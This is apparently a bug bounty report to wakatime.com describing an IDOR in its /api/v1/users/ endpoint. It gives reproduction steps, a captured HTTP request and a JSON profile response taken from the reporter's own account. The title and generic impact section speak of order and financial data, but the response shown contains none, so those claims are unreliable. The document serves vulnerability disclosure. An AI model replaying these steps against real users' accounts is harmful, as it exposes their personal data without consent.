IDOR to view order information of users and personal information

Hi team, I found one bug on your domain. It's IDOR bug. ##Summary: Insecure Direct Object Reference ( IDOR ) is the method of controlling which users can perform a certain type of action or view set of data. Insecure Direct Object Reference ( IDOR ) is a vulnerability that allows an attacker to circumvent those controls and perform more actions than they are allowed to, or view content they typically don’t have access to. Such vulnerability, when exploited, could lead to massive loss of data. ##Steps To Reproduce: 1. Go to `https://wakatime.com/api/v1/users/current?` 2. Intercept your request. The request should look like this: ``` GET /api/v1/users/current? HTTP/2 Host: wakatime.com Cookie: █████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=1 Te: trailers ``` 3. Send request in repeater tab ( i will show that request in my PoC video) 4. Now cut the `current?` at the end of `/api/v1/users/current?` and enter the user ID or username of the victim `exmaple: GET /api/v1/users/@hasn0xxxx` 5. You will get victims some information like this ``` HTTP/2 200 OK Server: nginx Date: Wed, 29 May 2024 08:26:00 GMT Content-Type: application/json Content-Length: 1337 Vary: Cookie X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Xss-Protection: 1; mode=block Feature-Policy: accelerometer 'none';autoplay 'self';camera 'none';document-domain 'none';fullscreen 'self';geolocation 'none';gyroscope 'none';magnetometer 'none';microphone 'none';midi 'none';payment 'self';picture-in-picture 'none';sync-xhr 'self';usb 'none'; Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; script-src 'self' 'unsafe-eval' https://js.stripe.com https://*.braintreegateway.com https://client.crisp.chat/ https://api.github.com https://www.google.com/ https://www.gstatic.com/ https://www.googletagmanager.com https://www.google-analytics.com https://heapanalytics.com https://*.heapanalytics.com; img-src 'self' blocked: https://cdn.loom.com/ https://checkout.paypal.com https://*.braintreegateway.com https://*.crisp.chat/ heapanalytics.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com/ https://fonts.gstatic.com/ https://client.crisp.chat/; font-src 'self' https://fonts.googleapis.com/ https://fonts.gstatic.com/ https://client.crisp.chat/; media-src 'self' https://*.amazonaws.com; frame-src 'self' https://www.google.com/ https://js.stripe.com/ https://hooks.stripe.com/ https://client.crisp.chat/ https://www.youtube.com/ https://www.loom.com/ player.vimeo.com checkout.paypal.com; object-src 'self'; connect-src 'self' api.github.com https://www.google.com/ www.google-analytics.com heapanalytics.com https://avatar-cdn.atlassian.com wss://*.crisp.chat/ https://*.crisp.chat/ https://api.stripe.com; { "data": { "bio": "hiiiiiii", "city": { "ascii_name": "Dhaka", "ascii_state": "Dhaka Division", "country": "Bangladesh", "country_code": "BD", "id": "fc1d7f6d-0da8-43b3-b124-96d401e07c7e", "name": "Dhaka", "population": 10356500, "state": "Dhaka Division", "timezone": "Asia/Dhaka", "title": "Dhaka, Bangladesh" }, "created_at": "2024-05-29T07:11:57Z", "display_name": "habibbhai", "full_name": "habibbhai", "github_username": "blablabla", "human_readable_website": "http://blablabla.com", "id": "d42f6787-f856-4c55-9ff3-cd8549f9efe0", "is_email_confirmed": false, "is_email_public": false, "is_hireable": false, "languages_used_public": false, "linkedin_username": "testlinkedin", "logged_time_public": false, "photo": "https://wakatime.com/photo/d42f6787-f856-4c55-9ff3-cd8549f9efe0", "photo_public": true, "profile_url": "https://wakatime.com/@hasn0xxxx", "profile_url_escaped": "https://wakatime.com/@hasn0xxxx", "public_email": null, "public_profile_time_range": null, "share_all_time_badge": false, "share_last_year_days": false, "twitter_username": "testetstets", "username": "hasn0xxxx", "website": "http://blablabla.com", "wonderfuldev_username": null } } ``` ** note : i used my account username* ## PoC : ████ ## Impact An IDOR (Insecure Direct Object Reference) vulnerability can have serious consequences if it allows attackers to view order information and personal data of users. Here's a breakdown of the potential impacts: * **Unauthorized Data Exposure:** This is the most concerning impact. Attackers can exploit IDOR to gain access to a wide range of sensitive information, including names, addresses, phone numbers, email addresses, order history, and even financial details like credit card numbers. This data can be used for identity theft, fraud, or even stalking. * **Loss of Trust and Reputation:** If a data breach occurs due to IDOR, it can severely damage the organization's reputation. Customers may lose trust in the company's ability to protect their data, leading to a loss of business and potential legal repercussions. * **Financial Loss:** Data breaches can be very expensive for organizations. They may face fines from regulatory bodies, lawsuits from affected users, and the cost of investigating and fixing the vulnerability. Here are some additional points to consider: * IDOR vulnerabilities can be exploited relatively easily, often by simply manipulating a URL or form parameter. * The impact of an IDOR attack can be amplified depending on the type of data exposed. Leaked order information can be used for targeted attacks, while financial data can lead to significant financial losses for victims. * IDOR vulnerabilities are not always limited to viewing data. In some cases, attackers might be able to manipulate or even delete data, causing further disruption and damage. By understanding the potential impacts of IDOR, organizations can take steps to mitigate these risks by implementing proper authorization controls and validating user permissions before granting access to sensitive data.